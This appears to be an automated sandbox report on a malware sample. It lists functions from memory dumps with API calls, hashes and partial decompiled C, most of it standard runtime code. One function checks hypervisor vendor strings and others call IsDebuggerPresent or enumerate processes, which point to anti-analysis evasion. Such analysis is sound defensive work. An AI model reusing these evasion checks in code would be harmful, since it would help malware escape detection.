Part of subcall function 004B369F: _free.LIBCMT ref: 004B36D9

FreeLibraryAndExitThread.KERNEL32(?,?,?,?,004AAFB4,?,?,004AAE2B,00000000), ref: 004AAED2

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitFreeLibraryThread_free
String ID:
API String ID: 2210149398-0
Opcode ID: 9810cde5d8caa70e261cae8f1b40db7f21c20f5b3738968fef222fc01693cdae
Instruction ID: f85d0011c9d6113551f714cbc55add30502266cf7d3d4c78badd48501831349d
Opcode Fuzzy Hash: 9810cde5d8caa70e261cae8f1b40db7f21c20f5b3738968fef222fc01693cdae
Instruction Fuzzy Hash: 9CF0E2301403006BCB629F35CC0CA6B7B98AF52365F154716F869C33A1DB38DC61C6AA

Uniqueness

Uniqueness Score: -1.00%

Function 0042CE52, Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042CE69

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: dbc42efef067eca205d12d162b20e86befcd95f1def56f6450c93a1d100501b7
Instruction ID: 2eb0282fe1c6891d17d58e664d170d25e2802814794deabebe1e5b6a43b387f4
Opcode Fuzzy Hash: dbc42efef067eca205d12d162b20e86befcd95f1def56f6450c93a1d100501b7
Instruction Fuzzy Hash: 4AD05B323051116BD3046619D4057BAA79EAFD5325F05011FF14087181DBF46C5543F5

Uniqueness

Uniqueness Score: -1.00%

Function 004C1D1F, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,004C20FA,?,?,00000000,?,004C20FA,00000000,0000000C), ref: 004C1D3C

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8c0ace9f6479a9408fd5a04cf5319de070908fcdbb9995ed9a71c7c87d315486
Instruction ID: 77a87769d2922ab1aa08fa2c4765cde3081cc8ea7699ff4b09f262fb826255c5
Opcode Fuzzy Hash: 8c0ace9f6479a9408fd5a04cf5319de070908fcdbb9995ed9a71c7c87d315486
Instruction Fuzzy Hash: 35D06C3200010DBFDF128F84ED06EDA3BAAFB88714F014010BA1896021C732E831EB94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C85965, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00C7B398: GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
Part of subcall function 00C7B398: SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

GetACP.KERNEL32(?,?,?,?,?,?,00C78646,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00C85A26
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00C78646,?,?,?,00000055,?,-00000050,?,?), ref: 00C85A51
_wcschr.LIBVCRUNTIME ref: 00C85AE5
_wcschr.LIBVCRUNTIME ref: 00C85AF3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00C85BB4

Strings

utf8, xrefs: 00C85B23

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 5415dfc6736b0d1ee426bf1e59129efb24585dfacf98f9ba21367c4ba78e008c
Instruction ID: 4ea854f187486247aaa601d52e2adb5ecb39768986e5ecf0b36747e05bf95f82
Opcode Fuzzy Hash: 5415dfc6736b0d1ee426bf1e59129efb24585dfacf98f9ba21367c4ba78e008c
Instruction Fuzzy Hash: D5710631600A02ABDB29BB35CC86FBB77A8EF58748F144029F915D7181EBF0DE409768

Uniqueness

Uniqueness Score: -1.00%

Function 00C86126, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00C86444,00000002,00000000,?,?,?,00C86444,?,00000000), ref: 00C861BF
GetLocaleInfoW.KERNEL32(?,20001004,00C86444,00000002,00000000,?,?,?,00C86444,?,00000000), ref: 00C861E8
GetACP.KERNEL32(?,?,00C86444,?,00000000), ref: 00C861FD

Strings

OCP, xrefs: 00C8617A
ACP, xrefs: 00C86144

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ca98e2c5d888595a4db2d02dcf67d57bc864a25ddc708fb81131eb3c2596582a
Instruction ID: b3e91ba11de05173b255148f460c85bb6404e6115e5fe36c2145dc171dc77495
Opcode Fuzzy Hash: ca98e2c5d888595a4db2d02dcf67d57bc864a25ddc708fb81131eb3c2596582a
Instruction Fuzzy Hash: 6721A162A00105AAEB24AF59C90DB9FB3A7FB50B5DB568064E91AD7207E732DF40C358

Uniqueness

Uniqueness Score: -1.00%

Function 00C862FB, Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

Part of subcall function 00C7B398: GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
Part of subcall function 00C7B398: SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

Part of subcall function 00C7B398: _free.LIBCMT ref: 00C7B3FA
Part of subcall function 00C7B398: _free.LIBCMT ref: 00C7B430

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00C86407
IsValidCodePage.KERNEL32(00000000), ref: 00C86450
IsValidLocale.KERNEL32(?,00000001), ref: 00C8645F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00C864A7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00C864C6

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: c11b22d344554894b6b7bfa1398a8709aaaa5dbfdff1ffd08d4b8b4461e50ccd
Instruction ID: 00d638474d52aa3975358e644a4fbd925152da18acb4ad8b4789c466f1242bc9
Opcode Fuzzy Hash: c11b22d344554894b6b7bfa1398a8709aaaa5dbfdff1ffd08d4b8b4461e50ccd
Instruction Fuzzy Hash: 44519E71A00205AFEF10EFA5DC45BAE77B8FF49708F14446AE911EB191EB70DA049B68

Uniqueness

Uniqueness Score: -1.00%

Function 00438696, Relevance: 7.6, Strings: 6, Instructions: 67COMMON

Download Yara Rule

Strings

VBoxVBoxVBox, xrefs: 004386F4
prl hyperv , xrefs: 004386ED
Microsoft Hv, xrefs: 004386C5
XenVMMXenVMM, xrefs: 004386E6
KVMKVMKVM, xrefs: 004386B9
VMwareVMware, xrefs: 004386DF

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: KVMKVMKVM$Microsoft Hv$VBoxVBoxVBox$VMwareVMware$XenVMMXenVMM$prl hyperv
API String ID: 0-642888547
Opcode ID: 993487a36ee2dca65cd00738d82c7374a501bfd2630f613d6f3d7073e2afcf8d
Instruction ID: 2c8174c4dc435a945022d74faaa771820768a3d757ee15a78210c07fce50f33d
Opcode Fuzzy Hash: 993487a36ee2dca65cd00738d82c7374a501bfd2630f613d6f3d7073e2afcf8d
Instruction Fuzzy Hash: A9218471E003489ADB10DFE5CD859DEB7F8AF44304F10853EE516AB215EB78A949CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00C56E03, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00C56E0F
IsDebuggerPresent.KERNEL32 ref: 00C56EDB
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00C56EFB
UnhandledExceptionFilter.KERNEL32(?), ref: 00C56F05

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 47ad654b6cb95c194fe25b5b03ad6bfc058186f51e7cea500f694b0185e17091
Instruction ID: 83584de914907f0388aba1bdd1ad65b2ea0b4c42e0d6e9ebd699e8388919c100
Opcode Fuzzy Hash: 47ad654b6cb95c194fe25b5b03ad6bfc058186f51e7cea500f694b0185e17091
Instruction Fuzzy Hash: 40311A79D05218DBDF21DFA4D9497CDBBB8EF08301F10419AE40DAB250EB719A88DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00C81126, Relevance: 4.6, APIs: 3, Instructions: 132fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000), ref: 00C811C1
FindNextFileW.KERNEL32(00000000,?), ref: 00C8123F
FindClose.KERNEL32(00000000), ref: 00C81281

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: a6eee5c7f7d1a5360ab5c67db44847b95e81e10f9067e2977284d10b9deb9532
Instruction ID: ed7351e904bb652a97e5270b45cfa96fbda94d80bc33a639630f9a9d71f485f4
Opcode Fuzzy Hash: a6eee5c7f7d1a5360ab5c67db44847b95e81e10f9067e2977284d10b9deb9532
Instruction Fuzzy Hash: 0F41B371A00119AADB20FF65DC4DEBFB7BCEB85318F184199ED15D3141EA309E85CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00446B77, Relevance: 4.6, APIs: 3, Instructions: 64processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00446BA7
Process32NextW.KERNEL32(00000000,0000022C), ref: 00446C05
CloseHandle.KERNEL32(00000000), ref: 00446C1A

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseCreateHandleNextProcess32SnapshotToolhelp32
String ID:
API String ID: 3908517482-0
Opcode ID: 3907c088bc786b5f3a3e60a00515d035d2b5f57b828a3ebbde1cab34de4b0795
Instruction ID: caebbb575f0a62139c1f9c7cf2129debbac19428c654addac2487947c739b1ed
Opcode Fuzzy Hash: 3907c088bc786b5f3a3e60a00515d035d2b5f57b828a3ebbde1cab34de4b0795
Instruction Fuzzy Hash: 3E117F70600218AFE710EF75ECC8AAABBACEF48314F10056AE505C7251DB799E04CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00C80D6A, Relevance: 1.7, APIs: 1, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 712c0aace6338ba8230f9833bf576419e15201c1a5a9409c8d679b4a95efdc57
Instruction ID: e6cd20d061b41bb79927c500bff39bf76b3fff6a07a9c6d742116a50d5102ab2
Opcode Fuzzy Hash: 712c0aace6338ba8230f9833bf576419e15201c1a5a9409c8d679b4a95efdc57
Instruction Fuzzy Hash: B751D47580421CAFDB64EFA8CC89AABB7B9EF45304F24429DF91D93201EA319E458F54

Uniqueness

Uniqueness Score: -1.00%

Function 00C87650, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00C87650

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 93d426984603d85b2e4c08838ef23d20ea0ea181e137578666bc46dafa961769
Instruction ID: da889fa0a5b27c4d2df0f8f1158680d05631c8461fb017cd84a425c4efc6b4ee
Opcode Fuzzy Hash: 93d426984603d85b2e4c08838ef23d20ea0ea181e137578666bc46dafa961769
Instruction Fuzzy Hash: F8A002705021028B97444F395A0D30D3595B54659575581599415C5360DA7544505605

Uniqueness

Uniqueness Score: -1.00%

Function 00C5C328, Relevance: 28.8, APIs: 19, Instructions: 339
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00C5C328(signed int* _a4, intOrPtr* _a8) {
				signed int _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				char _v44;
				char _v52;
				void* __ebx;
				void* _t105;
				signed int* _t107;
				signed int _t110;
				unsigned int _t111;
				void* _t115;
				void* _t129;
				unsigned int _t134;
				void* _t142;
				void* _t148;
				intOrPtr* _t149;
				intOrPtr* _t152;
				unsigned int _t154;
				signed char _t156;
				void* _t162;
				intOrPtr* _t163;
				signed int _t165;
				signed int _t169;
				void* _t172;
				signed int* _t174;
				signed int _t181;
				signed int _t185;
				void* _t189;
				intOrPtr* _t190;
				void* _t191;
				signed int _t195;
				unsigned int _t205;
				void* _t235;
				signed int _t253;
				signed int _t257;
				intOrPtr* _t260;
				intOrPtr* _t261;
				void* _t262;
				void* _t263;

				_t198 =  *0xca3e38; // 0x0
				_t263 = _t262 - 0x30;
				_t105 =  *_t198;
				if(_t105 == 0) {
					L50:
					E00C59302(_t198, _a4, 1, _a8);
					L51:
					_t107 = _a4;
					L52:
					return _t107;
				}
				if(_t105 < 0x36 || _t105 > 0x39) {
					if(_t105 != 0x5f) {
						goto L49;
					}
					goto L4;
				} else {
					L4:
					_t195 = _t105 - 0x36;
					_t198 = _t198 + 1;
					 *0xca3e38 = _t198;
					if(_t195 != 0x29) {
						__eflags = _t195;
						if(_t195 < 0) {
							L49:
							_t107 = _a4;
							_t107[1] = _t107[1] & 0x00000000;
							 *_t107 =  *_t107 & 0x00000000;
							_t107[1] = 2;
							goto L52;
						}
						_t253 = _t198;
						__eflags = _t195 - 3;
						if(__eflags > 0) {
							goto L49;
						}
						L11:
						if(_t195 == 0xffffffff) {
							goto L49;
						}
						_t260 = _a8;
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_v12 =  *_t260;
						_v8 =  *((intOrPtr*)(_t260 + 4));
						_t110 = 2;
						_t257 = _t195 & _t110;
						if(_t257 == 0) {
							L23:
							if((_t195 & 0x00000004) != 0) {
								_t154 =  *0xca3e40; // 0x0
								_t156 =  !(_t154 >> 1);
								_t282 = _t156 & 0x00000001;
								_push( &_v52);
								if((_t156 & 0x00000001) == 0) {
									E00C595CE( &_v12, E00C5AA19(_t253, __eflags));
								} else {
									_t162 = E00C592D7(_t198,  &_v44, 0x20, E00C5AA19(_t253, _t282));
									_t263 = _t263 + 0x10;
									_t163 = E00C59346(_t162,  &_v28,  &_v12);
									_v12 =  *_t163;
									_v8 =  *((intOrPtr*)(_t163 + 4));
								}
							}
							_t111 =  *0xca3e40; // 0x0
							_push( &_v52);
							if(( !(_t111 >> 1) & 0x00000001) == 0) {
								_t115 = E00C5B0F9();
								_t200 =  &_v12;
								E00C595CE( &_v12, _t115);
							} else {
								_t152 = E00C59346(E00C5B0F9(),  &_v44,  &_v12);
								_t200 =  *_t152;
								_v12 =  *_t152;
								_v8 =  *((intOrPtr*)(_t152 + 4));
							}
							if( *_t260 != 0) {
								_t148 = E00C592D7(_t200,  &_v52, 0x28,  &_v12);
								_t263 = _t263 + 0xc;
								_t149 = E00C59368(_t148,  &_v44, 0x29);
								_v12 =  *_t149;
								_v8 =  *((intOrPtr*)(_t149 + 4));
							}
							_t261 = E00C5C84E(0xca3e54, 8);
							if(_t261 == 0) {
								_t261 = 0;
							} else {
								 *_t261 = 0;
								 *((intOrPtr*)(_t261 + 4)) = 0;
							}
							E00C5D7F5(0,  &_v36, _t261);
							E00C59440( &_v12, E00C59368(E00C592D7(0xca3e54,  &_v44, 0x28, E00C5A642( &_v52)),  &_v28, 0x29));
							_t205 =  *0xca3e40; // 0x0
							if((_t205 & 0x00000060) != 0x60 && _t257 != 0) {
								E00C59440( &_v12,  &_v20);
								_t205 =  *0xca3e40; // 0x0
							}
							_push( &_v52);
							if(( !(_t205 >> 0x13) & 0x00000001) == 0) {
								_t129 = E00C5D6CD(_t253);
								_t209 =  &_v12;
								E00C595CE( &_v12, _t129);
							} else {
								_t142 = E00C5D6CD(_t253);
								_t209 =  &_v12;
								E00C59440( &_v12, _t142);
							}
							E00C59440( &_v12, E00C5C8D8(_t209,  &_v52));
							_t134 =  *0xca3e40; // 0x0
							_push( &_v52);
							if(( !(_t134 >> 8) & 0x00000001) == 0) {
								E00C595CE( &_v12, E00C5E832());
							} else {
								E00C59440( &_v12, E00C5E832());
							}
							_t107 = _a4;
							if(_t261 == 0) {
								_t107[1] = 0;
								_t107[1] = 3;
								 *_t107 = 0;
							} else {
								 *_t261 = _v12;
								 *((intOrPtr*)(_t261 + 4)) = _v8;
								 *_t107 = _v36;
								_t107[1] = _v32;
							}
							goto L52;
						}
						if( *_t198 == 0x40) {
							_t33 = _t253 + 1; // 0x2
							_t165 = _t33;
							 *0xca3e38 = _t165;
							L19:
							_t235 =  *_t165;
							if(_t235 == 0) {
								E00C59346(E00C58F7B( &_v52, 1), _a4,  &_v12);
								goto L51;
							}
							if(_t235 != 0x40) {
								goto L49;
							}
							 *0xca3e38 = _t165 + 1;
							_t169 =  *0xca3e40; // 0x0
							_push( &_v52);
							if((_t169 & 0x00000060) == 0x60) {
								_t172 = E00C5E803();
								_t198 =  &_v20;
								E00C595CE( &_v20, _t172);
							} else {
								_t174 = E00C5E803();
								_t198 =  *_t174;
								_v20 =  *_t174;
								_v16 = _t174[1];
							}
							goto L23;
						}
						_v24 = _t110;
						_v28 = "::";
						_t244 = E00C58EDB( &_v44,  &_v28);
						E00C59346(_t177,  &_v28,  &_v12);
						_v12 = _v28;
						_v8 = _v24;
						_t181 =  *0xca3e38; // 0x0
						if( *_t181 == 0) {
							E00C59346(E00C58F7B( &_v52, 1),  &_v28,  &_v12);
							_v12 = _v28;
							_t185 = _v24;
						} else {
							_t189 = E00C592D7(_t244,  &_v28, 0x20, E00C5D824(_t253,  &_v44));
							_t263 = _t263 + 0x10;
							_t190 = E00C59346(_t189,  &_v52,  &_v12);
							_t185 =  *(_t190 + 4);
							_v12 =  *_t190;
						}
						_v8 = _t185;
						_t165 =  *0xca3e38; // 0x0
						goto L19;
					}
					_t191 =  *_t198;
					if(_t191 == 0) {
						goto L50;
					} else {
						_t1 = _t198 + 1; // 0x2
						_t253 = _t1;
						_t195 = _t191 - 0x3d;
						_t198 = _t253;
						 *0xca3e38 = _t198;
						if(_t195 < 4 || _t195 > 7) {
							_t195 = _t195 | 0xffffffff;
						}
						goto L11;
					}
				}
			}

APIs

DName::operator+.LIBCMT ref: 00C5C3F5
DName::operator+.LIBCMT ref: 00C5C432
DName::DName.LIBVCRUNTIME ref: 00C5C446
DName::operator+.LIBCMT ref: 00C5C455
DName::operator+.LIBCMT ref: 00C5C4E3
DName::operator|=.LIBCMT ref: 00C5C4FF
DName::DName.LIBVCRUNTIME ref: 00C5C50B
DName::operator+.LIBCMT ref: 00C5C519
DName::operator+.LIBCMT ref: 00C5C553
DName::operator+.LIBCMT ref: 00C5C594
UnDecorator::getReturnType.LIBCMT ref: 00C5C5C4
operator+.LIBVCRUNTIME ref: 00C5C6D1

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$NameName::$Decorator::getName::operator|=ReturnTypeoperator+
String ID:
API String ID: 1186856153-0
Opcode ID: 0551f225dcde04b2dec58c812304725fca127412cec2f1cd29017837d6e418f0
Instruction ID: 371db9163a0afcd0af95080a01ec9b88abbc2f6921f023a7c5706c9a018a9c8f
Opcode Fuzzy Hash: 0551f225dcde04b2dec58c812304725fca127412cec2f1cd29017837d6e418f0
Instruction Fuzzy Hash: 03C182B9900308EFCB04DF94D8D5AEDBBB4EB18305F144169F916A7291EF349A88DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00C82B15, Relevance: 25.9, APIs: 17, Instructions: 411COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00C82B3F
_free.LIBCMT ref: 00C82C18
_free.LIBCMT ref: 00C82C45

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 9a03eef0b1cacf7162649e0c0a958b97353a41e9ecf1883c761500360e14000b
Instruction ID: 1f41f1e638a95288668597d97eb6fdea84e9c95270284c30ae3f2398bc79ed80
Opcode Fuzzy Hash: 9a03eef0b1cacf7162649e0c0a958b97353a41e9ecf1883c761500360e14000b
Instruction Fuzzy Hash: 6BD11771904216AFDB24FFB4C88AB6D7BF4EF01728F14416EF92597281EB719A00E758

Uniqueness

Uniqueness Score: -1.00%

Function 00C83AA0, Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C83B0F
_free.LIBCMT ref: 00C83B25
_free.LIBCMT ref: 00C83B38
_free.LIBCMT ref: 00C83B4D
_free.LIBCMT ref: 00C83B62
GetCPInfo.KERNEL32(?,?), ref: 00C83BAC

Part of subcall function 00C90364: _free.LIBCMT ref: 00C903CF

_free.LIBCMT ref: 00C83E17
_free.LIBCMT ref: 00C83E2A
_free.LIBCMT ref: 00C83E38
_free.LIBCMT ref: 00C83E43
_free.LIBCMT ref: 00C83E85
_free.LIBCMT ref: 00C83E8D
_free.LIBCMT ref: 00C83E93
_free.LIBCMT ref: 00C83E9B
_free.LIBCMT ref: 00C83EA9

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: aceba0bef0354efe66aaede9e9c30f1d4544691cff63f09bf802093d347f5e41
Instruction ID: 9c2b5722ebe473d3ec4a6f39f968355311fae81a21ac1d385d02f3e69ac7c932
Opcode Fuzzy Hash: aceba0bef0354efe66aaede9e9c30f1d4544691cff63f09bf802093d347f5e41
Instruction Fuzzy Hash: CCD1C171D0024A9FDB11DFB8C881BEEBBF5BF08704F14412DE8A9A7242D771AA45DB54

Uniqueness

Uniqueness Score: -1.00%

Function 004AE54D, Relevance: 21.3, APIs: 14, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E004AE54D(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				char _v21;
				intOrPtr _v22;
				signed short _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				intOrPtr* _v44;
				signed int _v48;
				void* _v52;
				signed int* _v56;
				intOrPtr _v60;
				intOrPtr* _v64;
				signed int* _v68;
				void* _v72;
				char _v76;
				signed int _t101;
				intOrPtr* _t106;
				signed int _t123;
				signed short _t126;
				void* _t130;
				void* _t134;
				void* _t137;
				void* _t138;
				intOrPtr _t139;
				void* _t141;
				signed int _t142;
				intOrPtr* _t143;
				signed char _t160;
				signed char _t165;
				signed int _t166;
				void* _t168;
				signed int _t170;
				intOrPtr _t172;
				void* _t179;
				signed int* _t180;
				signed int* _t181;
				signed int _t182;
				signed char* _t189;
				signed char* _t190;
				void* _t192;
				signed int _t194;
				intOrPtr _t197;
				short* _t209;
				intOrPtr* _t211;
				intOrPtr* _t215;
				signed int _t216;
				signed int _t217;
				void* _t218;
				void* _t219;

				_t101 =  *0x4eb018; // 0xa679d9c
				_v8 = _t101 ^ _t217;
				_t211 = _a4;
				_t170 = 0;
				_v64 = _t211;
				_v32 = 0;
				_t172 =  *((intOrPtr*)(_t211 + 0xa8));
				_v36 = 0;
				_v40 = 0;
				_v52 = 0;
				_v76 = _t211;
				_v72 = 0;
				if(_t172 == 0) {
					__eflags =  *(_t211 + 0x8c);
					if( *(_t211 + 0x8c) != 0) {
						asm("lock dec dword [eax]");
					}
					 *(_t211 + 0x8c) = _t170;
					__eflags = 0;
					 *(_t211 + 0x90) = _t170;
					 *_t211 = 0x4060d8;
					 *((intOrPtr*)(_t211 + 0x94)) = 0x406358;
					 *((intOrPtr*)(_t211 + 0x98)) = 0x4064d8;
					 *((intOrPtr*)(_t211 + 4)) = 1;
					L41:
					return E0049CE1D(_v8 ^ _t217);
				}
				_t106 = _t211 + 8;
				_v44 = 0;
				if( *_t106 != 0) {
					L3:
					_v44 = E004B2F72(_t172, 1, 4);
					E004B2FCF(_t170);
					_v32 = E004B2F72(_t172, 0x180, 2);
					E004B2FCF(_t170);
					_v36 = E004B2F72(_t172, 0x180, 1);
					E004B2FCF(_t170);
					_v40 = E004B2F72(_t172, 0x180, 1);
					E004B2FCF(_t170);
					_t197 = E004B2F72(_t172, 0x101, 1);
					_v52 = _t197;
					E004B2FCF(_t170);
					_t219 = _t218 + 0x3c;
					if(_v44 == _t170 || _v32 == _t170 || _t197 == 0 || _v36 == _t170 || _v40 == _t170) {
						L36:
						E004B2FCF(_v44);
						E004B2FCF(_v32);
						E004B2FCF(_v36);
						E004B2FCF(_v40);
						_t170 = 1;
						__eflags = 1;
						goto L37;
					} else {
						_t123 = _t170;
						do {
							 *(_t123 + _t197) = _t123;
							_t123 = _t123 + 1;
						} while (_t123 < 0x100);
						_push( &_v28);
						_push( *((intOrPtr*)(_t211 + 8)));
						if( *0x4f01e0() == 0) {
							goto L36;
						}
						_t126 = _v28;
						_t235 = _t126 - 5;
						if(_t126 > 5) {
							goto L36;
						}
						_t28 = _t197 + 1; // 0x1
						_v48 = _t126 & 0x0000ffff;
